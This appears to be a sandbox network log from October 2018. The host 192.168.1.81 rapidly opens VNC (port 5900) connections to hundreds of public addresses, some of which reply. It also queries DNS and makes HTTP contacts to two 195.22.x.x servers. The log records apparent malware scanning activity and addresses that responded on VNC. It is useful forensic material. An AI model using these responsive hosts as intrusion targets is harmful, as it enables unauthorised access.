Oct 30, 2018 14:44:39.146583080 CET	50370	5900	192.168.1.81	136.118.25.140
Oct 30, 2018 14:44:39.146600962 CET	50371	5900	192.168.1.81	38.229.112.247
Oct 30, 2018 14:44:39.146615982 CET	50372	5900	192.168.1.81	44.70.109.202
Oct 30, 2018 14:44:39.150293112 CET	50467	5900	192.168.1.81	69.245.124.88
Oct 30, 2018 14:44:39.180469990 CET	50468	5900	192.168.1.81	198.203.151.251
Oct 30, 2018 14:44:39.222057104 CET	50373	5900	192.168.1.81	173.36.12.158
Oct 30, 2018 14:44:39.222090006 CET	50374	5900	192.168.1.81	189.177.208.83
Oct 30, 2018 14:44:39.243340969 CET	50469	5900	192.168.1.81	123.85.155.141
Oct 30, 2018 14:44:39.274482965 CET	50470	5900	192.168.1.81	95.149.44.124
Oct 30, 2018 14:44:39.276335001 CET	5900	50407	121.150.156.190	192.168.1.81
Oct 30, 2018 14:44:39.305632114 CET	50471	5900	192.168.1.81	112.20.33.211
Oct 30, 2018 14:44:39.338443995 CET	50472	5900	192.168.1.81	102.24.171.70
Oct 30, 2018 14:44:39.349611998 CET	50375	5900	192.168.1.81	114.34.220.255
Oct 30, 2018 14:44:39.349694014 CET	50376	5900	192.168.1.81	125.62.233.54
Oct 30, 2018 14:44:39.349723101 CET	50377	5900	192.168.1.81	40.177.60.243
Oct 30, 2018 14:44:39.349749088 CET	50378	5900	192.168.1.81	186.186.57.233
Oct 30, 2018 14:44:39.370807886 CET	50473	5900	192.168.1.81	51.253.158.112
Oct 30, 2018 14:44:39.403007984 CET	50474	5900	192.168.1.81	79.123.131.104
Oct 30, 2018 14:44:39.433013916 CET	50475	5900	192.168.1.81	39.76.233.108
Oct 30, 2018 14:44:39.443670988 CET	50379	5900	192.168.1.81	155.181.198.65
Oct 30, 2018 14:44:39.443789959 CET	50380	5900	192.168.1.81	58.179.25.163
Oct 30, 2018 14:44:39.443834066 CET	50381	5900	192.168.1.81	112.20.6.55
Oct 30, 2018 14:44:39.463676929 CET	50476	5900	192.168.1.81	162.218.52.54
Oct 30, 2018 14:44:39.495388985 CET	50477	5900	192.168.1.81	194.117.220.85
Oct 30, 2018 14:44:39.526230097 CET	50478	5900	192.168.1.81	93.185.138.23
Oct 30, 2018 14:44:39.537596941 CET	50382	5900	192.168.1.81	112.219.27.51
Oct 30, 2018 14:44:39.537689924 CET	50384	5900	192.168.1.81	164.158.49.252
Oct 30, 2018 14:44:39.558023930 CET	50479	5900	192.168.1.81	113.36.218.224
Oct 30, 2018 14:44:39.587692022 CET	50480	5900	192.168.1.81	200.6.202.251
Oct 30, 2018 14:44:39.614347935 CET	53343	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:39.618371964 CET	50481	5900	192.168.1.81	59.70.32.51
Oct 30, 2018 14:44:39.646667957 CET	50385	5900	192.168.1.81	124.238.212.168
Oct 30, 2018 14:44:39.646687031 CET	53	53343	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:39.646773100 CET	50386	5900	192.168.1.81	86.174.36.115
Oct 30, 2018 14:44:39.646802902 CET	50387	5900	192.168.1.81	71.243.190.203
Oct 30, 2018 14:44:39.646831989 CET	50388	5900	192.168.1.81	40.176.218.49
Oct 30, 2018 14:44:39.682946920 CET	50482	5900	192.168.1.81	166.49.98.29
Oct 30, 2018 14:44:39.714035988 CET	50483	5900	192.168.1.81	72.208.22.91
Oct 30, 2018 14:44:39.740712881 CET	50389	5900	192.168.1.81	104.176.36.8
Oct 30, 2018 14:44:39.740818024 CET	50391	5900	192.168.1.81	119.111.119.25
Oct 30, 2018 14:44:39.740845919 CET	50392	5900	192.168.1.81	43.176.136.35
Oct 30, 2018 14:44:39.745387077 CET	50484	5900	192.168.1.81	41.197.193.126
Oct 30, 2018 14:44:39.772061110 CET	50393	5900	192.168.1.81	150.34.185.6
Oct 30, 2018 14:44:39.777924061 CET	50485	5900	192.168.1.81	112.96.71.71
Oct 30, 2018 14:44:39.803044081 CET	50394	5900	192.168.1.81	160.229.146.218
Oct 30, 2018 14:44:39.817281961 CET	50486	5900	192.168.1.81	72.187.10.47
Oct 30, 2018 14:44:39.836882114 CET	50395	5900	192.168.1.81	95.198.61.146
Oct 30, 2018 14:44:39.840825081 CET	50487	5900	192.168.1.81	142.122.181.239
Oct 30, 2018 14:44:39.865206957 CET	50396	5900	192.168.1.81	73.9.106.111
Oct 30, 2018 14:44:39.868654966 CET	50488	5900	192.168.1.81	40.228.190.245
Oct 30, 2018 14:44:39.896538973 CET	50397	5900	192.168.1.81	165.132.125.230
Oct 30, 2018 14:44:39.900394917 CET	50489	5900	192.168.1.81	164.184.70.84
Oct 30, 2018 14:44:39.928045034 CET	50398	5900	192.168.1.81	111.133.110.67
Oct 30, 2018 14:44:39.953006983 CET	5900	50463	90.143.67.143	192.168.1.81
Oct 30, 2018 14:44:39.959287882 CET	50399	5900	192.168.1.81	44.34.179.30
Oct 30, 2018 14:44:39.964848995 CET	50490	5900	192.168.1.81	144.25.217.251
Oct 30, 2018 14:44:39.990603924 CET	50400	5900	192.168.1.81	137.249.176.126
Oct 30, 2018 14:44:39.995198965 CET	50491	5900	192.168.1.81	41.255.194.110
Oct 30, 2018 14:44:40.026329041 CET	50492	5900	192.168.1.81	36.237.162.216
Oct 30, 2018 14:44:40.053239107 CET	50401	5900	192.168.1.81	109.67.72.78
Oct 30, 2018 14:44:40.058099031 CET	50493	5900	192.168.1.81	118.85.56.25
Oct 30, 2018 14:44:40.084616899 CET	50402	5900	192.168.1.81	126.251.60.149
Oct 30, 2018 14:44:40.087397099 CET	50494	5900	192.168.1.81	59.108.205.183
Oct 30, 2018 14:44:40.115137100 CET	50403	5900	192.168.1.81	73.34.113.45
Oct 30, 2018 14:44:40.119437933 CET	50495	5900	192.168.1.81	176.178.59.45
Oct 30, 2018 14:44:40.146605968 CET	50404	5900	192.168.1.81	65.247.157.155
Oct 30, 2018 14:44:40.167870045 CET	58445	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:40.170613050 CET	50496	5900	192.168.1.81	138.190.252.197
Oct 30, 2018 14:44:40.177794933 CET	50405	5900	192.168.1.81	91.224.255.64
Oct 30, 2018 14:44:40.182370901 CET	50497	5900	192.168.1.81	56.204.96.8
Oct 30, 2018 14:44:40.209218979 CET	50406	5900	192.168.1.81	50.48.112.194
Oct 30, 2018 14:44:40.219932079 CET	53	58445	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:40.288084984 CET	50498	5900	192.168.1.81	58.79.171.122
Oct 30, 2018 14:44:40.304208994 CET	50408	5900	192.168.1.81	100.180.173.213
Oct 30, 2018 14:44:40.304260969 CET	50409	5900	192.168.1.81	79.119.216.235
Oct 30, 2018 14:44:40.307888985 CET	50499	5900	192.168.1.81	42.49.7.30
Oct 30, 2018 14:44:40.324767113 CET	5900	50492	36.237.162.216	192.168.1.81
Oct 30, 2018 14:44:40.334194899 CET	50410	5900	192.168.1.81	70.75.45.45
Oct 30, 2018 14:44:40.339764118 CET	50500	5900	192.168.1.81	72.216.202.203
Oct 30, 2018 14:44:40.367012024 CET	50501	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:40.370131016 CET	50502	5900	192.168.1.81	97.80.235.113
Oct 30, 2018 14:44:40.383291960 CET	50411	5900	192.168.1.81	139.176.140.38
Oct 30, 2018 14:44:40.406373978 CET	50503	5900	192.168.1.81	158.238.202.148
Oct 30, 2018 14:44:40.432002068 CET	50504	5900	192.168.1.81	82.130.38.67
Oct 30, 2018 14:44:40.443835974 CET	50412	5900	192.168.1.81	80.216.171.9
Oct 30, 2018 14:44:40.467174053 CET	50505	5900	192.168.1.81	175.10.13.178
Oct 30, 2018 14:44:40.476301908 CET	5900	50504	82.130.38.67	192.168.1.81
Oct 30, 2018 14:44:40.501117945 CET	50506	5900	192.168.1.81	120.109.213.223
Oct 30, 2018 14:44:40.526367903 CET	50507	5900	192.168.1.81	30.113.201.191
Oct 30, 2018 14:44:40.537230968 CET	50414	5900	192.168.1.81	102.216.164.107
Oct 30, 2018 14:44:40.537300110 CET	50463	5900	192.168.1.81	90.143.67.143
Oct 30, 2018 14:44:40.537326097 CET	50415	5900	192.168.1.81	88.218.19.215
Oct 30, 2018 14:44:40.537343025 CET	50416	5900	192.168.1.81	204.95.122.16
Oct 30, 2018 14:44:40.557089090 CET	50508	5900	192.168.1.81	129.210.43.227
Oct 30, 2018 14:44:40.591063976 CET	50509	5900	192.168.1.81	107.191.182.135
Oct 30, 2018 14:44:40.610200882 CET	5900	50463	90.143.67.143	192.168.1.81
Oct 30, 2018 14:44:40.619673967 CET	50510	5900	192.168.1.81	143.162.57.128
Oct 30, 2018 14:44:40.647223949 CET	50417	5900	192.168.1.81	208.55.64.193
Oct 30, 2018 14:44:40.647353888 CET	50419	5900	192.168.1.81	159.53.239.111
Oct 30, 2018 14:44:40.647378922 CET	50420	5900	192.168.1.81	176.104.11.30
Oct 30, 2018 14:44:40.647401094 CET	50421	5900	192.168.1.81	163.249.108.77
Oct 30, 2018 14:44:40.659667015 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:40.660074949 CET	50501	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:40.678467989 CET	50422	5900	192.168.1.81	72.179.73.16
Oct 30, 2018 14:44:40.682739973 CET	50511	5900	192.168.1.81	187.152.18.189
Oct 30, 2018 14:44:40.723294020 CET	64258	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:40.725097895 CET	50423	5900	192.168.1.81	166.220.26.220
Oct 30, 2018 14:44:40.725836039 CET	50512	5900	192.168.1.81	161.50.19.1
Oct 30, 2018 14:44:40.744154930 CET	50513	5900	192.168.1.81	169.104.59.217
Oct 30, 2018 14:44:40.776829958 CET	50514	5900	192.168.1.81	134.199.54.161
Oct 30, 2018 14:44:40.787273884 CET	50424	5900	192.168.1.81	89.221.106.225
Oct 30, 2018 14:44:40.802937031 CET	50425	5900	192.168.1.81	152.226.76.246
Oct 30, 2018 14:44:40.808360100 CET	50515	5900	192.168.1.81	121.255.108.49
Oct 30, 2018 14:44:40.818593979 CET	50426	5900	192.168.1.81	42.247.10.127
Oct 30, 2018 14:44:40.834322929 CET	50492	5900	192.168.1.81	36.237.162.216
Oct 30, 2018 14:44:40.839231968 CET	50516	5900	192.168.1.81	74.163.111.44
Oct 30, 2018 14:44:40.840234995 CET	53	64258	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:40.844556093 CET	50517	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:40.869518995 CET	50427	5900	192.168.1.81	81.62.183.212
Oct 30, 2018 14:44:40.874506950 CET	50518	5900	192.168.1.81	104.82.160.186
Oct 30, 2018 14:44:40.896518946 CET	50428	5900	192.168.1.81	47.196.206.128
Oct 30, 2018 14:44:40.896801949 CET	80	50517	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:40.896949053 CET	50517	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:40.898180008 CET	50517	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:40.903012991 CET	50519	5900	192.168.1.81	205.18.190.197
Oct 30, 2018 14:44:40.927845955 CET	50429	5900	192.168.1.81	97.47.247.234
Oct 30, 2018 14:44:40.933295965 CET	50520	5900	192.168.1.81	122.184.118.17
Oct 30, 2018 14:44:40.950294971 CET	80	50517	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:40.952440977 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:40.952476978 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:40.952788115 CET	50501	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:40.955569983 CET	80	50517	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:40.955606937 CET	80	50517	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:40.955806971 CET	50517	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:40.974791050 CET	50431	5900	192.168.1.81	200.4.110.197
Oct 30, 2018 14:44:40.974843979 CET	50504	5900	192.168.1.81	82.130.38.67
Oct 30, 2018 14:44:40.976218939 CET	50521	5900	192.168.1.81	203.171.37.62
Oct 30, 2018 14:44:40.979790926 CET	50517	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:40.989151955 CET	52886	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:40.993844032 CET	50522	5900	192.168.1.81	102.94.96.141
Oct 30, 2018 14:44:41.005677938 CET	50432	5900	192.168.1.81	184.122.15.24
Oct 30, 2018 14:44:41.016239882 CET	53	52886	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:41.018511057 CET	50523	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:41.019181967 CET	5900	50504	82.130.38.67	192.168.1.81
Oct 30, 2018 14:44:41.032238960 CET	80	50517	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.052835941 CET	50433	5900	192.168.1.81	170.152.229.125
Oct 30, 2018 14:44:41.058510065 CET	50524	5900	192.168.1.81	132.196.165.241
Oct 30, 2018 14:44:41.068358898 CET	50434	5900	192.168.1.81	48.248.215.123
Oct 30, 2018 14:44:41.070627928 CET	80	50523	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:41.070786953 CET	50523	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:41.071522951 CET	50523	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:41.089498043 CET	50525	5900	192.168.1.81	65.140.42.95
Oct 30, 2018 14:44:41.115576982 CET	50435	5900	192.168.1.81	53.237.12.59
Oct 30, 2018 14:44:41.115685940 CET	50463	5900	192.168.1.81	90.143.67.143
Oct 30, 2018 14:44:41.120954990 CET	50526	5900	192.168.1.81	126.74.179.37
Oct 30, 2018 14:44:41.123464108 CET	80	50523	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:41.125904083 CET	80	50523	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:41.125976086 CET	80	50523	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:41.126106024 CET	50523	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:41.128571033 CET	50523	80	192.168.1.81	195.22.28.222
Oct 30, 2018 14:44:41.131308079 CET	50436	5900	192.168.1.81	165.1.205.91
Oct 30, 2018 14:44:41.131900072 CET	5900	50492	36.237.162.216	192.168.1.81
Oct 30, 2018 14:44:41.138250113 CET	57165	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:41.150276899 CET	50527	5900	192.168.1.81	52.241.128.222
Oct 30, 2018 14:44:41.162728071 CET	50437	5900	192.168.1.81	186.83.188.200
Oct 30, 2018 14:44:41.180460930 CET	80	50523	195.22.28.222	192.168.1.81
Oct 30, 2018 14:44:41.182771921 CET	50528	5900	192.168.1.81	163.78.58.123
Oct 30, 2018 14:44:41.193276882 CET	50438	5900	192.168.1.81	167.236.106.252
Oct 30, 2018 14:44:41.214013100 CET	50529	5900	192.168.1.81	100.126.33.255
Oct 30, 2018 14:44:41.241617918 CET	50439	5900	192.168.1.81	148.152.147.50
Oct 30, 2018 14:44:41.242975950 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:41.242997885 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:41.243211985 CET	50501	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:41.244241953 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:41.245268106 CET	5900	50501	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:41.245381117 CET	50501	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:41.249120951 CET	50531	5900	192.168.1.81	75.93.34.17
Oct 30, 2018 14:44:41.255642891 CET	50440	5900	192.168.1.81	42.78.3.92
Oct 30, 2018 14:44:41.259915113 CET	5900	50463	90.143.67.143	192.168.1.81
Oct 30, 2018 14:44:41.276232004 CET	50532	5900	192.168.1.81	183.112.133.134
Oct 30, 2018 14:44:41.302752018 CET	50441	5900	192.168.1.81	108.218.93.252
Oct 30, 2018 14:44:41.308507919 CET	50533	5900	192.168.1.81	62.240.74.182
Oct 30, 2018 14:44:41.319287062 CET	50442	5900	192.168.1.81	122.184.222.172
Oct 30, 2018 14:44:41.342528105 CET	50534	5900	192.168.1.81	151.6.107.166
Oct 30, 2018 14:44:41.356367111 CET	53	57165	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:41.358802080 CET	50535	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:41.365163088 CET	50443	5900	192.168.1.81	106.83.74.100
Oct 30, 2018 14:44:41.368771076 CET	50536	5900	192.168.1.81	148.187.23.233
Oct 30, 2018 14:44:41.380811930 CET	50444	5900	192.168.1.81	205.31.146.96
Oct 30, 2018 14:44:41.401873112 CET	50537	5900	192.168.1.81	109.214.17.194
Oct 30, 2018 14:44:41.411720037 CET	80	50535	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.411925077 CET	50535	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:41.412501097 CET	50445	5900	192.168.1.81	183.67.249.49
Oct 30, 2018 14:44:41.413285971 CET	50535	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:41.432212114 CET	50538	5900	192.168.1.81	194.140.214.222
Oct 30, 2018 14:44:41.443841934 CET	50446	5900	192.168.1.81	160.69.179.198
Oct 30, 2018 14:44:41.465646029 CET	50539	5900	192.168.1.81	189.58.183.192
Oct 30, 2018 14:44:41.470307112 CET	80	50535	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.470856905 CET	80	50535	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.470901012 CET	80	50535	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.470998049 CET	50535	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:41.472580910 CET	50535	80	192.168.1.81	195.22.26.248
Oct 30, 2018 14:44:41.475039005 CET	50447	5900	192.168.1.81	105.233.79.152
Oct 30, 2018 14:44:41.492727995 CET	50540	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:41.496968031 CET	50541	5900	192.168.1.81	204.54.238.160
Oct 30, 2018 14:44:41.506050110 CET	50448	5900	192.168.1.81	66.63.88.48
Oct 30, 2018 14:44:41.521997929 CET	50504	5900	192.168.1.81	82.130.38.67
Oct 30, 2018 14:44:41.525916100 CET	80	50535	195.22.26.248	192.168.1.81
Oct 30, 2018 14:44:41.526932001 CET	50542	5900	192.168.1.81	84.186.254.110
Oct 30, 2018 14:44:41.537600994 CET	50449	5900	192.168.1.81	162.137.29.49
Oct 30, 2018 14:44:41.538954020 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:41.539024115 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:41.556945086 CET	50543	5900	192.168.1.81	154.22.91.50
Oct 30, 2018 14:44:41.568053961 CET	5900	50532	183.112.133.134	192.168.1.81
Oct 30, 2018 14:44:41.568304062 CET	5900	50504	82.130.38.67	192.168.1.81
Oct 30, 2018 14:44:41.588536024 CET	50544	5900	192.168.1.81	32.32.144.239
Oct 30, 2018 14:44:41.618254900 CET	50545	5900	192.168.1.81	111.153.133.83
Oct 30, 2018 14:44:41.650820971 CET	50546	5900	192.168.1.81	87.129.143.70
Oct 30, 2018 14:44:41.662117004 CET	50450	5900	192.168.1.81	161.251.104.177
Oct 30, 2018 14:44:41.662209988 CET	50451	5900	192.168.1.81	64.124.33.244
Oct 30, 2018 14:44:41.662240028 CET	50452	5900	192.168.1.81	187.227.60.229
Oct 30, 2018 14:44:41.662271976 CET	50492	5900	192.168.1.81	36.237.162.216
Oct 30, 2018 14:44:41.682704926 CET	50547	5900	192.168.1.81	124.102.91.65
Oct 30, 2018 14:44:41.721885920 CET	50548	5900	192.168.1.81	72.239.108.94
Oct 30, 2018 14:44:41.755848885 CET	50453	5900	192.168.1.81	179.97.196.209
Oct 30, 2018 14:44:41.755947113 CET	50454	5900	192.168.1.81	146.140.13.206
Oct 30, 2018 14:44:41.755971909 CET	50455	5900	192.168.1.81	179.74.58.79
Oct 30, 2018 14:44:41.773622036 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:41.773828983 CET	50540	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:41.776694059 CET	50549	5900	192.168.1.81	37.45.246.54
Oct 30, 2018 14:44:41.833801031 CET	50456	5900	192.168.1.81	80.242.58.189
Oct 30, 2018 14:44:41.840755939 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:41.841007948 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:41.843007088 CET	50550	5900	192.168.1.81	128.139.242.189
Oct 30, 2018 14:44:41.845532894 CET	50551	5900	192.168.1.81	116.237.69.140
Oct 30, 2018 14:44:41.865088940 CET	50457	5900	192.168.1.81	154.136.229.187
Oct 30, 2018 14:44:41.865151882 CET	50458	5900	192.168.1.81	44.74.82.74
Oct 30, 2018 14:44:41.868568897 CET	50552	5900	192.168.1.81	110.29.74.211
Oct 30, 2018 14:44:41.896517038 CET	50459	5900	192.168.1.81	116.255.148.247
Oct 30, 2018 14:44:41.900094032 CET	50553	5900	192.168.1.81	31.180.111.37
Oct 30, 2018 14:44:41.943552017 CET	50460	5900	192.168.1.81	123.216.123.228
Oct 30, 2018 14:44:41.960412025 CET	5900	50492	36.237.162.216	192.168.1.81
Oct 30, 2018 14:44:41.974817038 CET	50461	5900	192.168.1.81	98.146.6.62
Oct 30, 2018 14:44:41.975435019 CET	62949	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:41.977531910 CET	50554	5900	192.168.1.81	71.180.154.29
Oct 30, 2018 14:44:41.994066954 CET	50555	5900	192.168.1.81	80.148.200.254
Oct 30, 2018 14:44:42.006190062 CET	50462	5900	192.168.1.81	180.237.155.233
Oct 30, 2018 14:44:42.007827997 CET	53	62949	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:42.026741982 CET	50556	5900	192.168.1.81	168.203.201.75
Oct 30, 2018 14:44:42.058613062 CET	50557	5900	192.168.1.81	196.109.61.212
Oct 30, 2018 14:44:42.068295002 CET	50532	5900	192.168.1.81	183.112.133.134
Oct 30, 2018 14:44:42.082010984 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.082310915 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.082649946 CET	50540	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:42.083991051 CET	50464	5900	192.168.1.81	97.212.225.78
Oct 30, 2018 14:44:42.084078074 CET	50465	5900	192.168.1.81	78.190.72.32
Oct 30, 2018 14:44:42.089437008 CET	50558	5900	192.168.1.81	88.8.141.174
Oct 30, 2018 14:44:42.115397930 CET	50466	5900	192.168.1.81	176.111.13.92
Oct 30, 2018 14:44:42.120518923 CET	50559	5900	192.168.1.81	77.194.199.1
Oct 30, 2018 14:44:42.137502909 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:42.137535095 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:42.137551069 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:42.137840033 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:42.138004065 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:42.146735907 CET	50467	5900	192.168.1.81	69.245.124.88
Oct 30, 2018 14:44:42.152667999 CET	50560	5900	192.168.1.81	143.185.122.124
Oct 30, 2018 14:44:42.155546904 CET	5900	50559	77.194.199.1	192.168.1.81
Oct 30, 2018 14:44:42.177761078 CET	50468	5900	192.168.1.81	198.203.151.251
Oct 30, 2018 14:44:42.183449984 CET	50561	5900	192.168.1.81	35.26.183.206
Oct 30, 2018 14:44:42.208081961 CET	5900	50552	110.29.74.211	192.168.1.81
Oct 30, 2018 14:44:42.214072943 CET	50562	5900	192.168.1.81	126.162.108.163
Oct 30, 2018 14:44:42.224410057 CET	5900	50551	116.237.69.140	192.168.1.81
Oct 30, 2018 14:44:42.240446091 CET	50469	5900	192.168.1.81	123.85.155.141
Oct 30, 2018 14:44:42.245150089 CET	50563	5900	192.168.1.81	198.145.153.121
Oct 30, 2018 14:44:42.272394896 CET	50470	5900	192.168.1.81	95.149.44.124
Oct 30, 2018 14:44:42.277097940 CET	50564	5900	192.168.1.81	73.163.42.250
Oct 30, 2018 14:44:42.302643061 CET	50471	5900	192.168.1.81	112.20.33.211
Oct 30, 2018 14:44:42.306549072 CET	50565	5900	192.168.1.81	54.27.121.150
Oct 30, 2018 14:44:42.334009886 CET	50472	5900	192.168.1.81	102.24.171.70
Oct 30, 2018 14:44:42.338876009 CET	50566	5900	192.168.1.81	143.136.193.113
Oct 30, 2018 14:44:42.354773998 CET	5900	50532	183.112.133.134	192.168.1.81
Oct 30, 2018 14:44:42.365320921 CET	50473	5900	192.168.1.81	51.253.158.112
Oct 30, 2018 14:44:42.369117975 CET	50567	5900	192.168.1.81	84.73.115.18
Oct 30, 2018 14:44:42.388000011 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.388447046 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.388720989 CET	50540	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:42.388741016 CET	5900	50540	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.388823986 CET	50540	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:42.390039921 CET	50568	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:42.402656078 CET	50569	5900	192.168.1.81	109.94.201.75
Oct 30, 2018 14:44:42.412379980 CET	50474	5900	192.168.1.81	79.123.131.104
Oct 30, 2018 14:44:42.432737112 CET	5900	50530	142.112.20.74	192.168.1.81
Oct 30, 2018 14:44:42.432908058 CET	50530	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:44:42.433875084 CET	50570	5900	192.168.1.81	96.50.143.57
Oct 30, 2018 14:44:42.443664074 CET	50475	5900	192.168.1.81	39.76.233.108
Oct 30, 2018 14:44:42.464760065 CET	50571	5900	192.168.1.81	171.214.100.121
Oct 30, 2018 14:44:42.475012064 CET	50476	5900	192.168.1.81	162.218.52.54
Oct 30, 2018 14:44:42.490741014 CET	50477	5900	192.168.1.81	194.117.220.85
Oct 30, 2018 14:44:42.493938923 CET	50572	5900	192.168.1.81	129.218.122.82
Oct 30, 2018 14:44:42.522064924 CET	50478	5900	192.168.1.81	93.185.138.23
Oct 30, 2018 14:44:42.525129080 CET	55636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:42.527648926 CET	50573	5900	192.168.1.81	31.193.156.250
Oct 30, 2018 14:44:42.552730083 CET	50479	5900	192.168.1.81	113.36.218.224
Oct 30, 2018 14:44:42.557594061 CET	50574	5900	192.168.1.81	87.54.125.71
Oct 30, 2018 14:44:42.558135986 CET	53	55636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:42.583982944 CET	50480	5900	192.168.1.81	200.6.202.251
Oct 30, 2018 14:44:42.587986946 CET	50575	5900	192.168.1.81	137.145.11.79
Oct 30, 2018 14:44:42.615161896 CET	50481	5900	192.168.1.81	59.70.32.51
Oct 30, 2018 14:44:42.618441105 CET	50576	5900	192.168.1.81	196.53.213.229
Oct 30, 2018 14:44:42.649393082 CET	50577	5900	192.168.1.81	109.114.78.120
Oct 30, 2018 14:44:42.661952019 CET	50559	5900	192.168.1.81	77.194.199.1
Oct 30, 2018 14:44:42.680926085 CET	50578	5900	192.168.1.81	35.226.81.35
Oct 30, 2018 14:44:42.693231106 CET	50482	5900	192.168.1.81	166.49.98.29
Oct 30, 2018 14:44:42.695583105 CET	5900	50568	168.105.226.96	192.168.1.81
Oct 30, 2018 14:44:42.695656061 CET	50568	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:44:42.696923971 CET	5900	50559	77.194.199.1	192.168.1.81
Oct 30, 2018 14:44:42.708784103 CET	50552	5900	192.168.1.81	110.29.74.211
Oct 30, 2018 14:44:42.722522974 CET	50579	5900	192.168.1.81	132.115.86.142
Oct 30, 2018 14:44:42.724474907 CET	50483	5900	192.168.1.81	72.208.22.91
Oct 30, 2018 14:44:42.724519014 CET	50551	5900	192.168.1.81	116.237.69.140
Oct 30, 2018 14:44:42.740153074 CET	50484	5900	192.168.1.81	41.197.193.126
Oct 30, 2018 14:44:42.744863987 CET	50580	5900	192.168.1.81	112.20.62.247
Oct 30, 2018 14:44:42.771738052 CET	50485	5900	192.168.1.81	112.96.71.71
Oct 30, 2018 14:44:42.778116941 CET	50581	5900	192.168.1.81	138.184.124.224
Oct 30, 2018 14:44:42.806236029 CET	50582	5900	192.168.1.81	131.167.48.207
Oct 30, 2018 14:44:42.839606047 CET	50583	5900	192.168.1.81	55.195.231.168
Oct 30, 2018 14:44:42.870665073 CET	50584	5900	192.168.1.81	124.79.141.251
Oct 30, 2018 14:44:42.881237030 CET	50486	5900	192.168.1.81	72.187.10.47
Oct 30, 2018 14:44:42.881329060 CET	50487	5900	192.168.1.81	142.122.181.239
Oct 30, 2018 14:44:42.881359100 CET	50532	5900	192.168.1.81	183.112.133.134
Oct 30, 2018 14:44:42.881443977 CET	50488	5900	192.168.1.81	40.228.190.245
Oct 30, 2018 14:44:42.900202036 CET	50585	5900	192.168.1.81	146.202.76.205
Oct 30, 2018 14:44:42.933943033 CET	50586	5900	192.168.1.81	32.118.236.68
Oct 30, 2018 14:44:42.965536118 CET	50587	5900	192.168.1.81	85.31.235.181
